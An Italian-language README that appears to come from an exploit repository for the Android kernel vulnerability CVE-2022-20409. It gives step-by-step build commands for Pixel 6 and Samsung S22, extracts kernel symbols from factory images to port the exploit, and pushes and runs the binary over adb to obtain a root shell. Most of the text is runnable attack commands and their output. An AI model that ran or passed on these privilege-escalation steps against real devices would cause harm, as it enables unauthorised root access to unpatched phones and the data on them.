
Sfruttamento del kernel Android per CVE-2022-20409
Assicurati che Android NDK sia installato. Per pixel 6,
make pixel
Per samsung s22,
make s22
L'exploit è scritto per supportare diverse versioni di kernel. Per portare l'exploit su un kernel diverso, è necessario estrarre il file dei simboli del kernel di destinazione.
Il kernel può essere estratto dall'immagine factory del telefono. Per i Pixel, scarica l'immagine factory qui.
Dopo aver scaricato l'immagine, estrai l'immagine per ottenere il file boot.img. boot.img può essere estratto con tools/unpack_bootimg.py.
python3 tools/unpack_bootimg.py --boot_img boot.img --out out
Vedrai il kernel in out/kernel
Ora, con l'immagine del kernel, possiamo usare vmlinux-to-elf per estrarne i simboli del kernel.
./tools/vmlinux-to-elf/kallsyms-finder out/kernel > pixel.kallsyms
Devi assicurarti che la Version string estratta nei simboli corrisponda alla versione del kernel del tuo telefono. La versione del kernel del telefono può essere verificata tramite adb. Per esempio,
sh-3.2$ adb shell
oriole:/ $ uname -a
Linux localhost 5.10.66-android12-9-00007-g66c74c58ab38-ab8262750 #1 SMP PREEMPT Mon Mar 7 01:27:36 UTC 2022 aarch64
corrisponde
[+] Version string: Linux version 5.10.66-android12-9-00007-g66c74c58ab38-ab8262750 (build-user@build-host) (Android (7284624, based on r416183b) clang version 12.0.5 (https://android.googlesource.com/toolchain/llvm-project c935d99d7cf2016289302412d708641d52d2f7ee), LLD 12.0.5 (/buildbot/src/android/llvm-toolchain/out/llvm-project/lld c935d99d7cf2016289302412d708641d52d2f7ee)) #1 SMP PREEMPT Mon Mar 7 01:27:36 UTC 2022
Ora puoi inviare l'exploit e il file dei simboli al telefono e ottenere il root con i seguenti comandi.
make
adb push exp pixel.kallsyms /data/local/tmp
adb shell
cd /data/local/tmp
./exp pixel.kallsyms
Goditi la tua shell di root :)